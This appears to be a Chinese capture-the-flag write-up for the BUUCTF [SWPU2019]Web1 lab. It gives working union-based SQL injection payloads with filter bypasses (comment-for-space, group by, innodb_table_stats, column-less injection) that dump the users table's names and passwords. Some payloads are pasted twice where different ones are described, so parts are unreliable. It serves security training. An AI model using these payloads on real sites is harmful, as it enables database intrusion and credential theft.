渗透之sql注入---实战1

本期的sql注入实战在:BUUCTF在线评测 (buuoj.cn)   该网站上进行。

启动靶机:

1.进来后搜索web1

2.点击【SWPU2019】Web1启动靶机。

3.进来之后在此界面进行注入。

开始注入:

1.找注入点:

我们输入1' 后查看广告详情发现报错,说明我们找到了注入点1'   

2.爆破列数

已经存在注入点,就需要找出所在表的列数,并找出在哪一列出数据,我们才能进行下一步。

经过测试,我们发现被过滤了几个东西:

  • order  by被过滤
  • 空格被过滤了
  • #号被过滤了
  • -- 被过滤
  • and被过滤了

替代方法:使用group  by替代order by,空格有一种常规的替代使用/**/

注意1:当我们 使用&&闭合时会出现我们,即使写的再大都不会报错,如下图:说明&&有问题我们不能使用。

                                

爆列数:

在这里使用如下方法进行闭合:在sql语句后面接一个数字时,sql语句还是会正常执行。经过测试发现当group  by 22时不会报错,当group  by 23时会报错。说当前所在表的列数为22列。

group  by 22:

group  by 23 :

所以:可以得知当前表的列数为22。

还要一种爆破出列数的方法:

直接使用: union  select 1,2,3,4..........

一个一个试,知道不报错为止。

3爆出数据的列

使用:因为后面有一个数字来闭合所以只需要写21个数字。

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'10

可以看到,数据出在2,3列

4爆数据库名和用户名

-1'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'10

5爆表名

经过测试:information_schema被过滤。

我们使用另一个来替代它:mysql.innodb_table_stats

查看表结构:

输入:

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"&&'1'='1

此时,我们就可以查看出当前数据库web1中的表有:ads,users两张表。

6无列明注入

根据mysql.innodb_table_stats结构我们可以知道其中并没有记录字段名的信息。

我们可以根据连接查询将列明爆出了:使用jion

但是再这里jion被过滤了,就再也没有办法来爆出列名了。此时我们只能使用无列名注入来进行下一步操作了。

两张表:ads  users

先查询ads,在ads中只有2,3字段出数据,所以我们只能查2,3字段的数据。

ads第二字段数据:

可以看出该字段没有数据。

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from/**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

ads第三字段数据:

可以看出来虽然查出来了数据但这些数据都不是我们想要的。所以接下来我们需要在users表中查询数据。

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from/**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

在users表中查询:

目前我们不知道users表中有几列,这时我们可以一个一个试。因为users表中至少有一列,我们直接试到出数据为止:

假设users有一列:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

假设users有两列:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa,2/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

假设users有三列:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa,2/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

当试到三列的时候出数据了,并且没有报错。

这里出的数据为users表第一列的数据:

users表第二列数据:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1,2/**/as/**/aa,3/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

users表第三列数据:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1,2,3/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

到此我们就吧users表中的所有数据查出来了,明显第二列为用户名,第三列为密码,密码一般都被加密了的。

到此我们就成功的完成了一次sql注入,成功的拿到了用户名和密码。

总结:这次实战过滤了几个我们常用的字符,当被过滤后我们就需要去思考使用其他的去替代它。整体不是很难,不过需要我们仔细。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/4953.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

我用suno做了人生中第一首歌

前几周AI已经杀入音乐制作领域,Suno正式发布V3音乐生成模型,被业界誉为AI音乐的"ChatGPT"时刻。 借此机会,我也生成了人生中第一首歌,下面是歌词和对应的音频。 歌词: [Verse] 烽火连天万里霜 英雄豪杰赴…

你不知道的CSS链接:解锁网页导航的秘密武器

在网页设计中&#xff0c;链接&#xff08;<a>标签&#xff09;是构建信息桥梁的关键元素&#xff0c;它们不仅承载着导航的功能&#xff0c;还是提升用户体验的重要手段。然而&#xff0c;CSS赋予了链接无限的风格潜力&#xff0c;远远超出了基础的下划线和颜色变化。本…

记录不会的方法操作(C++)——容器后面插入一个容器的值

1.将一个容器中的值全部追加在另一个容器后面 记录起因&#xff1a;我想要将一个vector中的值全部追加到另一个vector后面&#xff0c;于是我想到了push_back这个函数&#xff0c;但是好像它一次只能在vector末尾插入一个值。而我上网搜索&#xff0c;也只能发现在前面插入的方…

03-JAVA设计模式-解析器模式

解释器模式 什么是解析器模式 在Java中&#xff0c;解释器模式&#xff08;Interpreter Pattern&#xff09;是一种行为设计模式&#xff0c;它给定一个语言&#xff0c;定义它的文法的一种表示&#xff0c;并定义一个解释器&#xff0c;该解释器使用该表示来解释语言中的句子…

Linux提权--SUID提权内核漏洞本地用户提权

免责声明:本文仅做技术交流与学习,请不要乱搞破坏... 目录 SUID提权 漏洞成因 提权过程: 手工命令探针: 参考利用&#xff1a; 脚本探针: LinEnum.sh traitor linuxprivchecker等等... Linux命令的利用: find命令 利用nc反弹 利用python反弹--棱角 内核漏洞本地用…

电磁兼容(EMC):生产的ESD防护要点及措施

目录 1. 接地和连接系统 2. 操作员及工作区域 3. 地板 4. 座椅 5. 防静电车间 早期电子产品出现质量问题有80%的问题都是生产过程静电所引起的。随着ESD的管理程序系统的普及&#xff0c;ESD问题相当减小很多。例如当今的S20.20静电控制程序产生于IBM内部审核和控制系统。…

打不完!真的打不完!海量用户线索车企该怎么办?用AI!

当车企面临海量用户线索&#xff0c;怎么找到精准用户&#xff1f;大量的电话根本打不完&#xff0c;这种情况怎么办&#xff1f;建议借助AI&#xff0c;降本增效。下面以某车企为例来帮助大家解决这个难题&#xff01; 某车企面临的问题主要有三点 第一&#xff1a;车企有来自…

罗德与施瓦茨矢量网络分析仪ZNB20相位一致性

矢量网络分析仪(VNA)是电子测量领域中非常重要的一类仪器,广泛应用于射频和微波电路的测试与分析。其中,德国罗德与施瓦茨公司生产的ZNB20型号是一款性能出色的矢量网络分析仪,深受业内人士的青睐。本文将重点介绍ZNB20在相位测量方面的特点和优势,为用户提供全面的使用参考。 …

微信红包架构

文章目录 包发抢拆抢红包——拆包算法——要解决并发问题那怎么做呢&#xff1f;——预分配红包预分配怎么实现呢&#xff1f;redis集群解决日均百亿级但微信没有用预分配方案哦——内存消耗过大——cas查询红包领取记录会很频繁的查询&#xff0c;从redis中查询hash&#xff0…

软考易错题

一.数据库的设计过程&#xff0c;按照规范的设计方法&#xff0c;一般分为以下六个阶段: ①需求分析:分析用户的需求&#xff0c;包括数据、功能和性能需求; ②概念结构设计:主要采用E-R模型进行设计&#xff0c;包括画E- R图; ③逻辑结构设计:通过将E-R图转换成表&#xff…

android11 加入GMS后修改launcher图标顺序

使用的launcher \vendor\partner_gms\apps\SearchLauncher 使用的布局 vendor\partner_gms\apps\GmsSampleIntegration vendor\partner_gms\apps\GmsSampleIntegration\res_dhs_full\xml <folder title"string/google_folder_title" container"-101"…

DOS比较运算符及常用操作

目录 rem 比较运算符:事例批处理 数值计算与大小比较注释比较大小if语句while循环输出到屏幕输出到文本读取文本到剪切板删除文件暂停关闭回显 rem 比较运算符: EQU - 等于 NEQ - 不等于 LSS - 小于 LEQ - 小于或等于 GTR - 大于 GEQ - 大于或等于 例如 if not %in%2 goto 2 如…

Spring 之 MatchingStrategy

在Spring框架的上下文中&#xff0c;MatchingStrategy 特别指代处理URL路径匹配的方法策略。这是Spring MVC中一个关键的概念&#xff0c;用于决定HTTP请求的URL路径应当如何与控制器&#xff08;Controller&#xff09;中的请求映射&#xff08;RequestMapping&#xff09;进行…

Google Cloud 的 AI 超计算机架构的新增功能

跳转到内容 云 博客 解决方案与技术 生态系统 开发者与从业者 借助 Google Cloud 进行转型 联系销售人员 免费开始使用 计算 文章来自于谷歌云 Google Cloud 的 AI 超计算机架构的新增功能 2024 年 4 月 10 日 https://storage.googleapis.com/gweb-cloudblog-publish/images/…

字符串的格式化输出、索引和切片以及7个常用的函数的使用

1.字符串的格式化输出: f-string 是一种方便的字符串格式化方式&#xff0c;可以直接在字符串中嵌入变量。2. name "Alice" age 30 print(f"My name is {name} and I am {age} years old.") 2.索引和切片: 索引和切片是用来访问字符串中的特定字符或…

Blob对象实现文件下载

首先&#xff0c;要有下载按钮 <a download onClick{()> downloadAttentment(data)}>下载</a>其次&#xff0c;定义下载function // 此处去处理 blob 对象 const downloadStreamByATag (data, suffix, name) > {if (suffix void 0) { suffix xls; }if (…

Python数据结构与算法(1):将序列分解为单独的变量

问题 现在有一个包含 N 个元素的元组或者是序列&#xff0c;怎样将它里面的值解压后同时赋值给 N 个变量&#xff1f; 解决方案 任何的序列&#xff08;或者是可迭代对象&#xff09;可以通过一个简单的赋值操作来分解为单独的变量。 唯一的要求就是变量的总数和结构必须与序…

JAVASE 数组相关知识

递归 A方法调用B方法&#xff0c;我们很容易理解 递归就是:A方法调用A方法&#xff0c;即自己调用自己 利用递归可以用简单的程序来解决一些复杂的问题。它通常把一个大型复杂的问题层层转化为一个与原问题相似的规模较小的问题来求解&#xff0c;递归策略只需少量的程序就可…

一个人可能代表一群人

最近有个小伙伴问他是做货代的&#xff0c;怎么能找到自己的客户&#xff1f;刚看到这个问题的时候&#xff0c;觉得这个不属于自己的范围&#xff0c;因为自己不是做货代的&#xff0c;怎么知道他们怎么工作&#xff0c;怎么去搜索客户呢&#xff1f; 但是仔细想来&#xff0…

【Java EE】日志框架(SLF4J)与门面模式

文章目录 &#x1f340;SLF4j&#x1f333;门面模式(外观模式)&#x1f338;门面模式的定义&#x1f338;门面模式的模拟实现&#x1f338;门面模式的优点 &#x1f332;关于SLF4J框架&#x1f338;引入日志门面 ⭕总结 &#x1f340;SLF4j SLF4J不同于其他⽇志框架,它不是⼀个…